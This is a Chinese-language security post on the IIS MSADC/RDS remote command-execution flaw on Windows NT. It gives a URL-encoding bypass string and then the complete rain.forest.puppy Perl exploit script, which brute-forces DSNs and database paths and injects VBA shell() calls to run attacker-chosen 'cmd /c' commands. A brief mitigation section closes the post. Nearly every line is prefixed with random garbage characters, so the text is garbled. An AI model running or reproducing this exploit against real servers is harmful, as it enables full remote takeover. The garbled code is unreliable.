IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
k9cK b f@ AD(xaQ&T 涉及程序：
&.hoC Po$ Microsoft NT server
xOhRTx ic D4d]3|/T 描述：
OO$| 9`a 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
T)`gm{T Tu==49 详细：
D^N[=q99&e 如果你没有时间读详细内容的话，就删除:
"=FIFf c:\Program Files\Common Files\System\Msadc\msadcs.dll
g /x_m. 有关的安全问题就没有了。
*JwFD^<j rYbCOazr 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
wtq,`'B r9<V%PH v 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
+9TV: T 关于利用ODBC远程漏洞的描述，请参看:
hRk,vB ] 8*vFdoE_oO http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iW'_R{)T :u
AjV 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
7$K}qsr< http://www.microsoft.com/security/bulletins/MS99-025faq.asp kw3 +>{\ *g*VC O 这里不再论述。
Rw/Ciw2@? >n(F4C-pl 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
HX yFj KA?v.s /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ZH!;z-R 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
&h\7^=s. <M=';h^w2 w \p 9J0 #将下面这段保存为txt文件，然后: "perl -x 文件名"
)]3L/ 5 1"8P y #!perl
3Qa?\ C&4 #
p x0Sy | # MSADC/RDS 'usage' (aka exploit) script
LGAX"/LX #
3Mur*tj# # by rain.forest.puppy
b22LT52 #
%TDXF_.[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
y ^SyhG,V[ # beta test and find errors!
?/)lnj)e{ 1EQvcw # use Socket; use Getopt::Std;
UUGe"]V^g: getopts("e:vd:h:XR", \%args);
&lU Ny
L 6 A.P6DW print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
t|< FA# vn ``0!FX if (!defined $args{h} && !defined $args{R}) {
%/Bvy*X& print qq~
RvR:e| Usage: msadc.pl -h <host> { -d <delay> -X -v }
{!MVc<G. -h <host> = host you want to scan (ip or domain)
Nkx0CG* -d <seconds> = delay between calls, default 1 second
B 2Qp} -X = dump Index Server path table, if available
[t$4Td d -v = verbose
:SK<2<8h -e = external dictionary file for step 5
?3Pazc]+| Hk~k@W ft Or a -R will resume a command session
H }B2A" z|Ap\[ GS ~; exit;}
LZ4xfB ( `/0u{[
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
y~dB 5/ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
P,U$ %C! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(uRZx X if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/,LfA2^_j{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
W"|mpxp if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ODek%0= mTJ"l(,3 if (!defined $args{R}){ $ret = &has_msadc;
F;-90 w die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S*xhX1yUi d+Ds9(gV print "Please type the NT commandline you want to run (cmd /c assumed):\n"
dl_{iMhF&E . "cmd /c ";
\q,s?`+B $in=<STDIN>; chomp $in;
1|]x o3j"' $command="cmd /c " . $in ;
-p] >Be+^x 7=vYO|a/4 if (defined $args{R}) {&load; exit;}
d@ Q][7 e "~)Utk print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
@iRO7 6 m &try_btcustmr;
ogJ<e_ m 3p&jLFphL print "\nStep 2: Trying to make our own DSN...";
nEyI t&> 9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~{P:sjsU [Y$V\h=V print "\nStep 3: Trying known DSNs...";
^SAq^3^P! &known_dsn;
-%H %m`wD gB >pd?d print "\nStep 4: Trying known .mdbs...";
r@yD8 D \ &known_mdb;
JjQV zkE CL1
oAk if (defined $args{e}){
v8~YR'T0`V print "\nStep 5: Trying dictionary of DSN names...";
c.0]1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
l]) Q.m Zih ?Bm print "Sorry Charley...maybe next time?\n";
rREzM)GA exit;
O|7yP30? M E(;i> ##############################################################################
l&Q!mU} `m, Ki69. sub sendraw { # ripped and modded from whisker
`kPc!I7Y sleep($delay); # it's a DoS on the server! At least on mine...
SM<d my ($pstr)=@_;
o:9$UV[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y"*:&E2)r die("Socket problems\n");
LABNj{=D! if(connect(S,pack "SnA4x8",2,80,$target)){
"{ FoA3g| select(S); $|=1;
d;44;*D print $pstr; my @in=<S>;
?:/|d\,7@ select(STDOUT); close(S);
Vo >X p return @in;
]"h=Qc } else { die("Can't connect...\n"); }}
/>F.Nsujy { 8p\ Y ##############################################################################
/AR]dcL@76 3Oiy)f@{TF sub make_header { # make the HTTP request
$H;+}VQ my $msadc=<<EOT
t !~ S9c POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
o|rzN\WJn User-Agent: ACTIVEDATA
e "n|jRh Host: $ip
+$,dwyI2t Content-Length: $clen
3\+N` ! Connection: Keep-Alive
]7vf#1 i< 7xT[<?, ADCClientVersion:01.06
l"5y?jT Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
agT7=hX]. { i;6vRr --!ADM!ROX!YOUR!WORLD!
?bI?GvSh Content-Type: application/x-varg
I N_gF_@% Content-Length: $reqlen
gQ+9xT d m[rL\](- EOT
5 0Ad,mn< ; $msadc=~s/\n/\r\n/g;
e8q4O|I_ return $msadc;}
(} jL_ E }NwN2xTB ##############################################################################
|^ iA6)Q iC*U $+JG sub make_req { # make the RDS request
5~s{N my ($switch, $p1, $p2)=@_;
vi|Zit my $req=""; my $t1, $t2, $query, $dsn;
fnOIv# <T4(H[9B if ($switch==1){ # this is the btcustmr.mdb query
QptOQ 3! $query="Select * from Customers where City=" . make_shell();
2LK]Q/WG,+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
S_5?U2%D $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
RJPcn)@l 2fbU-9Rfn elsif ($switch==2){ # this is general make table query
j+Zt .KXjT $query="create table AZZ (B int, C varchar(10))";
`xIh\q $dsn="$p1";}
+?V0: Kz] @yKZRwg elsif ($switch==3){ # this is general exploit table query
&k+*3.X $query="select * from AZZ where C=" . make_shell();
\ JU{xQMB $dsn="$p1";}
1ktHN: ta w_3xKnMT\ elsif ($switch==4){ # attempt to hork file info from index server
q^]tyU!w $query="select path from scope()";
^aptLJF $dsn="Provider=MSIDXS;";}
Q S;F+cmTh ~S;! T elsif ($switch==5){ # bad query
Pgev) rh[ $query="select";
PkJcd-> $dsn="$p1";}
`:4MMr9 1 3agNB F2 $t1= make_unicode($query);
y\Dn^ $t2= make_unicode($dsn);
@'gl~J7 $req = "\x02\x00\x03\x00";
k/bque $req.= "\x08\x00" . pack ("S1", length($t1));
:l`i4kx $req.= "\x00\x00" . $t1 ;
a2X h>{ $req.= "\x08\x00" . pack ("S1", length($t2));
Fx5ZwT
t $req.= "\x00\x00" . $t2 ;
u G[!w!e $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~d>uXrb return $req;}
XN(tcdCG ns26$bU ##############################################################################
gIBpOPr^d .+vd6Uc5a sub make_shell { # this makes the shell() statement
uS-3\$ return "'|shell(\"$command\")|'";}
x<
S\D& NQR^%<hU ##############################################################################
((cb4IX !;+U_j'Pg sub make_unicode { # quick little function to convert to unicode
agW9Go_F[ my ($in)=@_; my $out;
zp#:EZ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
5%& ] return $out;}
3S Fg# >fbo
r'| ##############################################################################
[ze/@29 4oN${7k0 sub rdo_success { # checks for RDO return success (this is kludge)
\gd6Yx^[ my (@in) = @_; my $base=content_start(@in);
oXbI5XY)wb if($in[$base]=~/multipart\/mixed/){
`VXZ kh m return 1 if( $in[$base+10]=~/^\x09\x00/ );}
J&_3VKrN return 0;}
^r4|{ o$\tHzB9!A ##############################################################################
CrO `=\ ArL-rJ{} sub make_dsn { # this makes a DSN for us
obYn&\6 my @drives=("c","d","e","f");
|K)p ]i+ print "\nMaking DSN: ";
4(8<w cL foreach $drive (@drives) {
"qgu$N4/> print "$drive: ";
hv{87`L'K( my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&D)2KD"N "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
5}7ISNP;f . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
w49{ -Pp[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
eK *W =c#@ return 0 if $2 eq "404"; # not found/doesn't exist
NhC Av + if($2 eq "200") {
sxk *$jO[] foreach $line (@results) {
,m3":{G:t. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
7O9n!aJ } return 0;}
"4RQ`.S R `{ <JC{yc? ##############################################################################
2md.S$V$, E9L!)D]Y sub verify_exists {
AygvJeM_W my ($page)=@_;
8(^
,r#Gy my @results=sendraw("GET $page HTTP/1.0\n\n");
0:#7M}U return $results[0];}
]$ |st^Q 1xIFvXru ##############################################################################
D Kq-C% DUhT>,~] sub try_btcustmr {
=oPng= : my @drives=("c","d","e","f");
La]4/=a my @dirs=("winnt","winnt35","winnt351","win","windows");
VmYBa( cP J7E foreach $dir (@dirs) {
oAaf)?8 print "$dir -> "; # fun status so you can see progress
G\):2Qz!| foreach $drive (@drives) {
/0l-mfRr print "$drive: "; # ditto
LC76 Qi;|k $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.X ^43
q $reqlenlen=length( "$reqlen" );
.c03}RTC^ $clen= 206 + $reqlenlen + $reqlen;
'(XW$D Q8 4t 9b my @results=sendraw(make_header() . make_req(1,$drive,$dir));
C6CGj8G if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
U FL0 K else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
OFQ{9 VD9J}bgJ ##############################################################################
K]9tc) 4[Z1r~t\L sub odbc_error {
L/5z ! my (@in)=@_; my $base;
ZRUh/<\[ my $base = content_start(@in);
F46O!xb% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
J7_8$B-j7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\3M1.Q4$Gr $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\k 4M{h6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jX tLo,km return $in[$base+4].$in[$base+5].$in[$base+6];}
%Dl_} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9X.g g$P print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
5qeT4|
Ol $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
b6]e4DL:R XQ4d ohGCP ##############################################################################
D)h["z|F I>\} }! sub verbose {
UUD\bWfn my ($in)=@_;
FDl,Ey^r/ return if !$verbose;
'8L(f w{k print STDOUT "\n$in\n";}
juR s !NisF
##############################################################################
|b,zw^!e[' JE /l#Q! sub save {
$+iu\MuX my ($p1, $p2, $p3, $p4)=@_;
O~nBz):2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
zV6AuUIt print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
]<Z&=0i# 9 close OUT;}
1k*n1t): ~>.awu+o| ##############################################################################
fp,1qzU[k r*c82}tc sub load {
6vMDm0sv my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3zk:59 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
wVlSjk @p=<IN>; close(IN);
c9
gz!NE $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
t%0r"bTi $target= inet_aton($ip) || die("inet_aton problems");
aB/{ %%o print "Resuming to $ip ...";
y Y-FL`- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
nLzX
Z6JlU if($p[1]==1) {
Ym3
" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
*7)S%r,? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
V<
2IIH5^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Y'3k E if (rdo_success(@results)){print "Success!\n";}
f_^ix else { print "failed\n"; verbose(odbc_error(@results));}}
l2z`<2mp elsif ($p[1]==3){
eUz U] 6h if(run_query("$p[3]")){
Q>cL?ie print "Success!\n";} else { print "failed\n"; }}
i=,B88ko elsif ($p[1]==4){
_%AJmt} if(run_query($drvst . "$p[3]")){
Z5"!0B^ j print "Success!\n"; } else { print "failed\n"; }}
a*pXrp@ exit;}
;9 =}_h)] & y#y>([~ ##############################################################################
CnM+HN30o D }=/w+ sub create_table {
H>gWxJ
5 my ($in)=@_;
KIXwx98 $reqlen=length( make_req(2,$in,"") ) - 28;
vE^h }~5U $reqlenlen=length( "$reqlen" );
i{ %z $clen= 206 + $reqlenlen + $reqlen;
f\U? :8 3 my @results=sendraw(make_header() . make_req(2,$in,""));
e'}ePvN return 1 if rdo_success(@results);
l}U~I
3}). my $temp= odbc_error(@results); verbose($temp);
awj} K return 1 if $temp=~/Table 'AZZ' already exists/;
hfl% r9o return 0;}
6 qz!M |S Sf G~r ##############################################################################
H]T2$'U6 x= vE&9_u sub known_dsn {
"jkw8UVz # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
' 91u q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
nr<}Hc^f- "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
A>&>6O4 "banner", "banners", "ads", "ADCDemo", "ADCTest");
b#/V ; Wo1V$[`Dy foreach $dSn (@dsns) {
U|y;b+n` print ".";
5JXzfc9rL next if (!is_access("DSN=$dSn"));
9.MGH2^ L? if(create_table("DSN=$dSn")){
:$X4#k< print "$dSn successful\n";
mcP{-oJ0W if(run_query("DSN=$dSn")){
Gdc ~Lh print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[Ls2k &) 0 print "Something's borked. Use verbose next time\n";}}} print "\n";}
_{F dw IlC:dA ##############################################################################
7 ~ % e&FX7dsyy sub is_access {
vV&AG1_Mv my ($in)=@_;
&t9XK 8S $reqlen=length( make_req(5,$in,"") ) - 28;
n+RUPZ $reqlenlen=length( "$reqlen" );
5Xy^I^J $clen= 206 + $reqlenlen + $reqlen;
w# gU1yu my @results=sendraw(make_header() . make_req(5,$in,""));
CHdet( _=v my $temp= odbc_error(@results);
Xdp`Z' g verbose($temp); return 1 if ($temp=~/Microsoft Access/);
h Vt+%tmNy return 0;}
R"\u b"] !lt\2Ae ##############################################################################
.9[8H:Fe yEw"8u' sub run_query {
%gne%9nn my ($in)=@_;
V.P5v { $reqlen=length( make_req(3,$in,"") ) - 28;
4LKs'$:A= $reqlenlen=length( "$reqlen" );
JK ^B +. $clen= 206 + $reqlenlen + $reqlen;
`)(
<g my @results=sendraw(make_header() . make_req(3,$in,""));
^%'tD return 1 if rdo_success(@results);
nV,{w4t+ my $temp= odbc_error(@results); verbose($temp);
I W] 841 return 0;}
YVg}q#
!Z0rTC3d ##############################################################################
& :e} 4/G T0]%(F/8 sub known_mdb {
#K,qF* my @drives=("c","d","e","f","g");
65`'Upu my @dirs=("winnt","winnt35","winnt351","win","windows");
uX5 --o=C my $dir, $drive, $mdb;
%\z COfN my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:x*|lz[ L_zmU_zD # this is sparse, because I don't know of many
dnWt\>6&
2 my @sysmdbs=( "\\catroot\\icatalog.mdb",
KiRt' "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)z c8bS "\\system32\\certmdb.mdb",
dc@wf; o "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
xf F&$K" L8-[:1 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
YV _I-l0 "\\cfusion\\cfapps\\forums\\forums_.mdb",
51;%\@= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Mpl,}Q!c "\\cfusion\\cfapps\\security\\realm_.mdb",
vdFQf ^l "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ZX5A%` <M "\\cfusion\\database\\cfexamples.mdb",
'14l )1g. "\\cfusion\\database\\cfsnippets.mdb",
;x0 K aFk "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
YT% SCaU "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
)}9}"jrDlx "\\cfusion\\brighttiger\\database\\cleam.mdb",
ADl>~3b "\\cfusion\\database\\smpolicy.mdb",
*,XJN_DKj "\\cfusion\\database\cypress.mdb",
-Fw4;&> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
MzW$Sl&: "\\website\\cgi-win\\dbsample.mdb",
ALt";8Oa "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^{sI'l~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
XJ1nh E ); #these are just
+ so o2cb foreach $drive (@drives) {
UmI@":|- foreach $dir (@dirs){
3SB7)8Id1 foreach $mdb (@sysmdbs) {
9 0(oV& print ".";
}m
l bN0v if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
hB<z] sl print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
89e. \EH if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
:V1 ZeNw print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
]~<T` )Hi } else { print "Something's borked. Use verbose next time\n"; }}}}}
zm S-s\$, 7a.#F]` foreach $drive (@drives) {
{]m
e?I foreach $mdb (@mdbs) {
P>,D$-3 print ".";
xu pdjT%4 if(create_table($drv . $drive . $dir . $mdb)){
KUn5S&eB print "\n" . $drive . $dir . $mdb . " successful\n";
/(L1!BPP9m if(run_query($drv . $drive . $dir . $mdb)){
yaGVY*M0 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{1&,6kJF&9 } else { print "Something's borked. Use verbose next time\n"; }}}}
`2~Ea_Z }
rTiuQdvo Q-%=ZW Z ##############################################################################
zW&O>H [eik<1=,~? sub hork_idx {
C xN@g' print "\nAttempting to dump Index Server tables...\n";
(c7{dYV print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
IHMyP~{ $reqlen=length( make_req(4,"","") ) - 28;
aRKG)0= $reqlenlen=length( "$reqlen" );
8@#Y
<{ $clen= 206 + $reqlenlen + $reqlen;
Z #V\[ my @results=sendraw2(make_header() . make_req(4,"",""));
WD1$"}R if (rdo_success(@results)){
[5:7 WqB my $max=@results; my $c; my %d;
XD>@EYN<X for($c=19; $c<$max; $c++){
H~K2`Cr)4 $results[$c]=~s/\x00//g;
QlXF:Gx"= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&otgN<H9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
* Bz& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*==nOO9G $d{"$1$2"}="";}
TBp5xz` foreach $c (keys %d){ print "$c\n"; }
] /naH#8G } else {print "Index server doesn't seem to be installed.\n"; }}
b,A1(_pzi P z!yIj ##############################################################################
Z'kYf 2|o$ eq3t sub dsn_dict {
Nr+1N83S} open(IN, "<$args{e}") || die("Can't open external dictionary\n");
k&; L(D while(<IN>){
wd 0A CF $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
{vlh ,0~ next if (!is_access("DSN=$dSn"));
>k-poBw if(create_table("DSN=$dSn")){
!XC7F UO print "$dSn successful\n";
A84HaRlkF5 if(run_query("DSN=$dSn")){
k3kqgR* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
'2#fkH[. print "Something's borked. Use verbose next time\n";}}}
6K0*?j{;" print "\n"; close(IN);}
9R3=h5Y +rX,Sl`/
##############################################################################
2p ,6=8^v #pFyb k sub sendraw2 { # ripped and modded from whisker
FX 3[ U+ sleep($delay); # it's a DoS on the server! At least on mine...
|7fBiVo my ($pstr)=@_;
> `M\xt socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,:,|A/U die("Socket problems\n");
96j2D8= w if(connect(S,pack "SnA4x8",2,80,$target)){
4v
.6_ebL print "Connected. Getting data";
:b-(@a7> open(OUT,">raw.out"); my @in;
ZQ/5]]}3y select(S); $|=1; print $pstr;
\/Y<.#? _ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(*]Y<ve close(OUT); select(STDOUT); close(S); return @in;
h]$zub } else { die("Can't connect...\n"); }}
&x #5-O' ^ j7pF.j ##############################################################################
q<7n5kJ~ VGIc|Q=F sub content_start { # this will take in the server headers
ovO^uWz` my (@in)=@_; my $c;
,-Gw#!0 for ($c=1;$c<500;$c++) {
h,g~J-x`| if($in[$c] =~/^\x0d\x0a/){
-:q7"s-}b if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/ [M~##%: else { return $c+1; }}}
uzD{ewR/.y return -1;} # it should never get here actually
m|[ Hhw=f <s >SnOD
##############################################################################
cs)hq4-L` @P?*<b{ sub funky {
[R $4n-$ my (@in)=@_; my $error=odbc_error(@in);
O(!'V~3 if($error=~/ADO could not find the specified provider/){
QWEK;kUa@ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
.v{ty exit;}
S"l&=J2dc if($error=~/A Handler is required/){
B7;MY6h# print "\nServer has custom handler filters (they most likely are patched)\n";
dXhV]xK exit;}
W2^R$"U if($error=~/specified Handler has denied Access/){
<U* d
print "\nServer has custom handler filters (they most likely are patched)\n";
*h1@eJHMz exit;}}
v:'y&yS t{9Ph]e ##############################################################################
.:}\Z27-c CAO$Z t sub has_msadc {
y- YYDEl my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Bb)J8,LQ my $base=content_start(@results);
E_P]f% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<Bwu N,} return 0;}
O{PRK5 ^h O?_'6T ########################
(, >`\\ %?seX+ne x U YSD 解决方案：
jp|wc,]! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^*W3{eyi(L 2、移除web 目录: /msadc
